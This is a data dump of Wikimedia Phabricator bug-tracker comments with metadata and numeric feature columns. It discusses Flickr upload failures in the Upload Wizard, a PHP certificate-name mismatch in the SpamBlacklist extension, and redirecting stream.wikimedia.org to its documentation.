Its still a problem, when on http (URL it refuses to upload most images, it goes on a loop, nothing to do with vrowser cache, more to do with being unable to converts https API link to http ..
web console data for ""POST"" (URL"
309166,Wizard refuses to upload images from flickr via http,"It works for me https://commons.wikimedia.org/wiki/File:Kitten_with_laptop_-_278017185.jpg.

Can you pls clear your browser cache and try again?",,,1406893273,,PHID-USER-nuf2sujf7qrx4v5ixbs3,False,,,PHID-TASK-iaxahhmubp3lpg5ciw7l,task_subcomment,,True,c3,1,False,,,-48,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,6.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,24.0,6.0,6.0,6.0,0.0,0.0,24.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.4705882352941178,1.0,"It works for me URL

Can you pls clear your browser cache and try again?"
309159,Wizard refuses to upload images from flickr via http,"**cometstyles** wrote:

tried it with multiple others, seems to be be affecting one user who releases all his images under (cc-by-sa) and no he is not blacklisted, probably one of the only few to release their images fully on flickr.. 

did the same test on test.wikipedia.org using http, same outcome

GET https://api.flickr.com/services/rest/ [HTTP/1.1 200 OK 1471ms]
GET https://api.flickr.com/services/rest/ [HTTP/1.1 200 OK 905ms]
GET https://api.flickr.com/services/rest/ [HTTP/1.1 200 OK 557ms]
POST http://commons.wikimedia.org/w/api.php [HTTP/1.1 504 Gateway Time-out 11060ms]

^
Request URL: 	http://commons.wikimedia.org/w/api.php
Request Method: 	POST
Status Code: 	HTTP/1.1 504 Gateway Time-out",,,1406859596,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-iaxahhmubp3lpg5ciw7l,task_subcomment,,True,c3,1,False,,,-48,True,1.0,0.0,0.5,0.5,0.5,5.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.5,7.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,1.5,0.0,0.5,0.5,0.0,0.5,0.0,1.0,1.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.5,0.0,0.0,0.0,0.5,0.0,1.0,1.5,21.5,0.0,0.5,1.5,0.0,0.0,0.0,0.0,4.5,0.5,5.0,0.0,2.0,7.0,12.0,0.0,0.0,0.0,2.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,3.0,3.486713286713287,0.6016317016317017,"**cometstyles** wrote:

tried it with multiple others, seems to be be affecting one user who releases all his images under (cc-by-sa) and no he is not blacklisted, probably one of the only few to release their images fully on flickr.. 

did the same test on test.wikipedia.org using http, same outcome

GET URL [HTTP/1.1 200 OK 1471ms]
GET URL [HTTP/1.1 200 OK 905ms]
GET URL [HTTP/1.1 200 OK 557ms]
POST URL [HTTP/1.1 504 Gateway Time-out 11060ms]

^
Request URL: 	URL
Request Method: 	POST
Status Code: 	HTTP/1.1 504 Gateway Time-out"
309153,Wizard refuses to upload images from flickr via http,"And with the original user it fails all the time?
Maybe the user is blacklisted and the error message about the blacklist is not returned for some reason? The blacklist is at https://commons.wikimedia.org/wiki/User:FlickreviewR/bad-authors",,,1406858660,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-iaxahhmubp3lpg5ciw7l,task_subcomment,,True,c3,1,True,,,-48,True,6.0,0.0,0.0,6.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,11.0,0.0,6.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,11.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.083333333333333,0.75,"And with the original user it fails all the time?
Maybe the user is blacklisted and the error message about the blacklist is not returned for some reason? The blacklist is at URL"
309151,Wizard refuses to upload images from flickr via http,"**cometstyles** wrote:

it worked with a different flickr user

GET https://api.flickr.com/services/rest/ [HTTP/1.1 200 OK 3597ms]
GET https://api.flickr.com/services/rest/ [HTTP/1.1 200 OK 1142ms]
GET https://api.flickr.com/services/rest/ [HTTP/1.1 200 OK 1175ms]
POST http://commons.wikimedia.org/w/api.php [HTTP/1.1 200 OK 11281ms]
GET http://commons.wikimedia.org/w/api.php [HTTP/1.1 200 OK 817ms]

^^
GET http://commons.wikimedia.org/wiki/Special:UploadStash/thumb/12h8xso51xgc.l7uzmb.1129056.jpg/100px-12h8xso51xgc.l7uzmb.1129056.jpg [HTTP/1.1 200 OK 2064ms]",,,1406857778,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-iaxahhmubp3lpg5ciw7l,task_subcomment,,True,c3,1,False,,,-48,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,34.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,6.0,0.0,8.0,0.0,1.0,3.0,10.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,8.0,3.2253521126760565,0.39436619718309857,"**cometstyles** wrote:

it worked with a different flickr user

GET URL [HTTP/1.1 200 OK 3597ms]
GET URL [HTTP/1.1 200 OK 1142ms]
GET URL [HTTP/1.1 200 OK 1175ms]
POST URL [HTTP/1.1 200 OK 11281ms]
GET URL [HTTP/1.1 200 OK 817ms]

^^
GET URL [HTTP/1.1 200 OK 2064ms]"
309149,Wizard refuses to upload images from flickr via http,"At a glance, this seems like an upload error which is not related to Flickr. Can you reproduce with the same file? Can you reproduce with a file from a different Flickr user?",,,1406855772,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-iaxahhmubp3lpg5ciw7l,task_subcomment,,True,c3,1,True,,,-48,True,0.0,0.0,0.0,3.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,14.0,3.0,14.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,16.0,5.0,5.0,0.0,0.0,5.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,0.0,3.8378378378378377,0.7567567567567568,"At a glance, this seems like an upload error which is not related to Flickr. Can you reproduce with the same file? Can you reproduce with a file from a different Flickr user?"
70581,Warning: file_get_contents(): Peer certificate CN=`*.wikipedia.org' did not match expected CN=`meta.wikimedia.org' in .../extensions/SpamBlacklist/BaseBlacklist.php on line 273,"Looks like a side effect of I3c3d397d5779aa0affcfa8455c2197ac562c5424

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=73199",Medium,50.0,1406311200,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,False,PHID-TASK-5kuaqwar366utx6ten4q,task_description,open,True,c3,1,False,False,,-49,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,20.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.3428571428571425,0.5428571428571428,"Looks like a side effect of I3c3d397d5779aa0affcfa8455c2197ac562c5424

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
315297,Warning: file_get_contents(): Peer certificate CN=`*.wikipedia.org' did not match expected CN=`meta.wikimedia.org' in .../extensions/SpamBlacklist/BaseBlacklist.php on line 273,"This is the same error I have in bug 73199. Differences are:
* it is not the same code (SpamBlacklist vs MediaWiki core),
* it is not the same PHP function (file_get_contents vs fopen),
* in bug 73199, there is a context specified (not here).

I guess file_get_contents has a default context where the option CN_match is fixed to the requested host (I tried to dive into source code of PHP to track the default argument, but I abandonned), and new x509 certificates (like the one of the Wikimedia projects) don’t really use the CN attribute but the subjectAltName attribute.

If this diagnosis is correct, a fix would be to add a context parameter with CA_match ""unset"" (setting it to null?).",,,1415553250,,PHID-USER-2nopae2cxuamwcbndaih,False,,,PHID-TASK-5kuaqwar366utx6ten4q,task_subcomment,,True,c3,1,False,,,-34,True,0.0,0.0,0.0,0.5,1.5,3.5,3.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.5,2.5,0.0,4.0,9.0,0.0,2.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,6.0,0.5,1.5,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,15.0,0.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.5,0.0,0.5,0.5,0.0,0.0,8.0,4.5,8.5,1.0,2.0,9.5,0.0,0.0,0.0,0.0,4.0,0.0,1.5,0.0,4.0,9.0,5.0,0.5,1.5,0.0,4.0,0.0,0.5,2.5,0.0,0.5,0.0,0.0,0.0,3.7715311004784686,0.6606288448393711,"This is the same error I have in bug 73199. Differences are:
* it is not the same code (SpamBlacklist vs MediaWiki core),
* it is not the same PHP function (file_get_contents vs fopen),
* in bug 73199, there is a context specified (not here).

I guess file_get_contents has a default context where the option CN_match is fixed to the requested host (I tried to dive into source code of PHP to track the default argument, but I abandonned), and new x509 certificates (like the one of the Wikimedia projects) don’t really use the CN attribute but the subjectAltName attribute.

If this diagnosis is correct, a fix would be to add a context parameter with CA_match ""unset"" (setting it to null?)."
70528,stream.wikimedia.org - redirect http(s) to docs,"http://stream.wikimedia.org - currently 404
https://stream.wikimedia.org - currently cert error

for good measure redirect them to the docs at

https://wikitech.wikimedia.org/wiki/Stream.wikimedia.org

because people do try to open this in a browser

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1406230680,1500424925.0,PHID-USER-fo56wm4wxiwpoofn2xdu,False,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-TASK-4i4rfgchjaq2sexzwylo,task_description,resolved,True,c3,1,True,False,False,-49,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,10.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,2.0,12.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,3.823529411764706,0.6470588235294118,"URL - currently 404
URL - currently cert error

for good measure redirect them to the docs at

URL

because people do try to open this in a browser

--------------------------
**Version**: unspecified
**Severity**: normal"
896787,stream.wikimedia.org - redirect http(s) to docs,<http://stream.wikimedia.org> and <https://stream.wikimedia.org> all redirect to <https://stream.wikimedia.org/?doc> now.,,,1500424925,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-4i4rfgchjaq2sexzwylo,task_subcomment,,True,c3,3,True,,,106,True,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,2.6666666666666665,0.6666666666666666,<URL and <URL all redirect to <URL now.
882603,stream.wikimedia.org - redirect http(s) to docs,"While the certificate issue has been resolved, and RCStream (at `stream.wikimedia.org/rc/`) is indeed being deprecated and replaced. stream.wikimedia.org itself is not going to be replaced, RCStream's replacement (EventStreams) is already live and served from the same domain.

The `/` entry-point over HTTP for GET should still redirect to documentation, e.g. to <https://wikitech.wikimedia.org/wiki/Stream.wikimedia.org>.",,,1498531898,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-4i4rfgchjaq2sexzwylo,task_subcomment,,True,c3,3,True,,,103,True,0.0,0.0,0.0,5.0,2.0,3.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,12.0,0.0,3.0,2.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,15.0,2.0,5.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,12.0,11.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,4.5,0.7727272727272727,"While the certificate issue has been resolved, and RCStream (at CODE) is indeed being deprecated and replaced. stream.wikimedia.org itself is not going to be replaced, RCStream's replacement (EventStreams) is already live and served from the same domain.

The CODE entry-point over HTTP for GET should still redirect to documentation, e.g. to <URL"
882602,stream.wikimedia.org - redirect http(s) to docs,"While the certificate issue has been resolved, and RCStream (at `stream.wikimedia.org/rc/`) is indeed being deprecated and replaced. stream.wikimedia.org itself is not going to be replaced, RCStream's replacement (EventStreams) is already live and served from the same domain.

The `/` entry-point over HTTP for GET should still redirect to documentation, such as <https://wikitech.wikimedia.org/wiki/Stream.wikimedia.org>.",,,1498531889,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-4i4rfgchjaq2sexzwylo,task_subcomment,,True,c3,3,True,,,103,True,0.0,0.0,0.0,5.0,2.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,2.0,2.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,15.0,2.0,5.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,12.0,11.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,4.5,0.7878787878787878,"While the certificate issue has been resolved, and RCStream (at CODE) is indeed being deprecated and replaced. stream.wikimedia.org itself is not going to be replaced, RCStream's replacement (EventStreams) is already live and served from the same domain.

The CODE entry-point over HTTP for GET should still redirect to documentation, such as <URL"
882601,stream.wikimedia.org - redirect http(s) to docs,"While the certificate issue has been resolved, and RCStream (at `stream.wikimedia.org/rc/`) is indeed being deprecated and replaced. stream.wikimedia.org itself is not going to be replaced, RCStream's replacement lives on the same domain.

The `/` entry-point over HTTP for GET should still redirect to documentation, such as <https://wikitech.wikimedia.org/wiki/Stream.wikimedia.org>.",,,1498531872,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-4i4rfgchjaq2sexzwylo,task_subcomment,,True,c3,3,True,,,103,True,0.0,0.0,0.0,5.0,2.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,2.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,8.0,15.0,2.0,3.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,14.0,10.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,4.47457627118644,0.8305084745762712,"While the certificate issue has been resolved, and RCStream (at CODE) is indeed being deprecated and replaced. stream.wikimedia.org itself is not going to be replaced, RCStream's replacement lives on the same domain.

The CODE entry-point over HTTP for GET should still redirect to documentation, such as <URL"
882600,stream.wikimedia.org - redirect http(s) to docs,"While the certificate issue has been resolved, and RCStream (at `stream.wikimedia.org/rc/`) is indeed being deprecated and replaced. stream.wikimedia.org is not going to be replaced.

The `/` entry-point over HTTP for GET should still redirect to documentation, such as <https://wikitech.wikimedia.org/wiki/Stream.wikimedia.org>.",,,1498531852,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-4i4rfgchjaq2sexzwylo,task_subcomment,,True,c3,3,True,,,103,True,0.0,0.0,0.0,6.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,14.0,0.0,2.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.0,10.0,16.0,2.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,14.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,4.408163265306122,0.8571428571428571,"While the certificate issue has been resolved, and RCStream (at CODE) is indeed being deprecated and replaced. stream.wikimedia.org is not going to be replaced.

The CODE entry-point over HTTP for GET should still redirect to documentation, such as <URL"
882510,stream.wikimedia.org - redirect http(s) to docs,"This has been working for some time, at least for the HTTPS issue at the root as tasked here!  The other part about docs probably isn't relevant anymore, as the service is being replaced.",,,1498517932,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-4i4rfgchjaq2sexzwylo,task_subcomment,,True,c3,3,True,,,103,True,2.0,0.0,0.0,5.0,2.0,10.0,2.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,8.0,0.0,0.0,15.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,3.85,0.825,"This has been working for some time, at least for the HTTPS issue at the root as tasked here!  The other part about docs probably isn't relevant anymore, as the service is being replaced."
650687,stream.wikimedia.org - redirect http(s) to docs,"See also https://gerrit.wikimedia.org/r/#/c/284760/ pending patch, from trying to fix the /=>404 issue for HTTPS reasons in T132521 (the basic HTTPS issues themselves are already fixed btw).  All it does is rewrite / internally to give the json service status output, as a ""better than nothing"" fix.",,,1461514703,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-4i4rfgchjaq2sexzwylo,task_subcomment,,True,c3,3,True,,,42,True,2.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,11.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,13.0,7.0,0.0,4.0,0.0,4.0,0.0,0.0,2.0,2.0,4.0,2.0,0.0,0.0,3.909090909090909,0.8545454545454545,"See also URL pending patch, from trying to fix the /=>404 issue for HTTPS reasons in T132521 (the basic HTTPS issues themselves are already fixed btw).  All it does is rewrite / internally to give the json service status output, as a ""better than nothing"" fix."
650683,stream.wikimedia.org - redirect http(s) to docs,"(of course now I see it was me who added that project in the first place, oops...)",,,1461513934,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-4i4rfgchjaq2sexzwylo,task_subcomment,,True,c3,3,True,,,42,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,10.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,3.142857142857143,1.0,"(of course now I see it was me who added that project in the first place, oops...)"
650682,stream.wikimedia.org - redirect http(s) to docs,doesn't look like apache is involved in this - see modules/rcstream/templates/rcstream.nginx.erb in the puppet repo,,,1461513907,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-4i4rfgchjaq2sexzwylo,task_subcomment,,True,c3,3,True,,,42,True,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,32.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.590909090909091,0.8636363636363636,doesn't look like apache is involved in this - see modules/rcstream/templates/rcstream.nginx.erb in the puppet repo
498703,stream.wikimedia.org - redirect http(s) to docs,It'd be neat if the index page for stream.wikimedia.org could pull from a protected wiki page on Meta-Wiki (similar to what we do with the www portals).,,,1438138261,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-4i4rfgchjaq2sexzwylo,task_subcomment,,True,c3,3,True,,,3,True,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,9.0,3.0,0.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,18.0,6.0,0.0,0.0,0.0,6.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.8181818181818183,0.9393939393939394,It'd be neat if the index page for stream.wikimedia.org could pull from a protected wiki page on Meta-Wiki (similar to what we do with the www portals).
489758,stream.wikimedia.org - redirect http(s) to docs,"scratch that last comment i guess

use https://wikitech.wikimedia.org/wiki/Stream.wikimedia.org

16:32 < Krinkle> mutante: http://wikistream.wmflabs.org/ is not a replacement of anything, it's a third-party consumer of our stream.
16:32 < Krinkle> it listens to irc.wikimedia.org in fact
16:33 < mutante> Krinkle: oh? i thought it uses http://stream.wikimedia.org/
16:34 < Krinkle> It may eventually migrate to that. But wikistream (the labs tool) uses a library that uses a library that uses irc.wikimedia.org 
16:34 < Krinkle> Either way, RCStream is replacement of IRC, not Wikistream.
",,,1436484971,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-4i4rfgchjaq2sexzwylo,task_subcomment,,True,c3,3,True,,,1,True,0.0,0.5,0.0,0.0,1.5,1.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,2.0,0.0,2.5,4.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,7.0,1.5,3.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.5,2.0,0.0,9.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.5,0.0,2.0,0.0,4.0,1.5,11.0,0.0,1.0,5.5,0.0,0.0,0.0,0.0,1.0,0.5,3.5,0.0,5.5,4.0,8.5,1.0,0.0,0.0,5.5,0.0,2.5,3.0,0.0,0.0,0.0,0.0,6.0,3.8233752620545074,0.7196016771488469,"scratch that last comment i guess

use URL

16:32 < Krinkle> mutante: URL is not a replacement of anything, it's a third-party consumer of our stream.
16:32 < Krinkle> it listens to irc.wikimedia.org in fact
16:33 < mutante> Krinkle: oh? i thought it uses URL
16:34 < Krinkle> It may eventually migrate to that. But wikistream (the labs tool) uses a library that uses a library that uses irc.wikimedia.org 
16:34 < Krinkle> Either way, RCStream is replacement of IRC, not Wikistream.
"
489735,stream.wikimedia.org - redirect http(s) to docs,"or, nowadays, redirect to http://wikistream.wmflabs.org/  

or, nicer, have an index page that explains what it is and links to both of these places",,,1436482922,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-4i4rfgchjaq2sexzwylo,task_subcomment,,True,c3,3,True,,,1,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,14.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,4.0,4.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,3.5357142857142856,0.8214285714285714,"or, nowadays, redirect to URL  

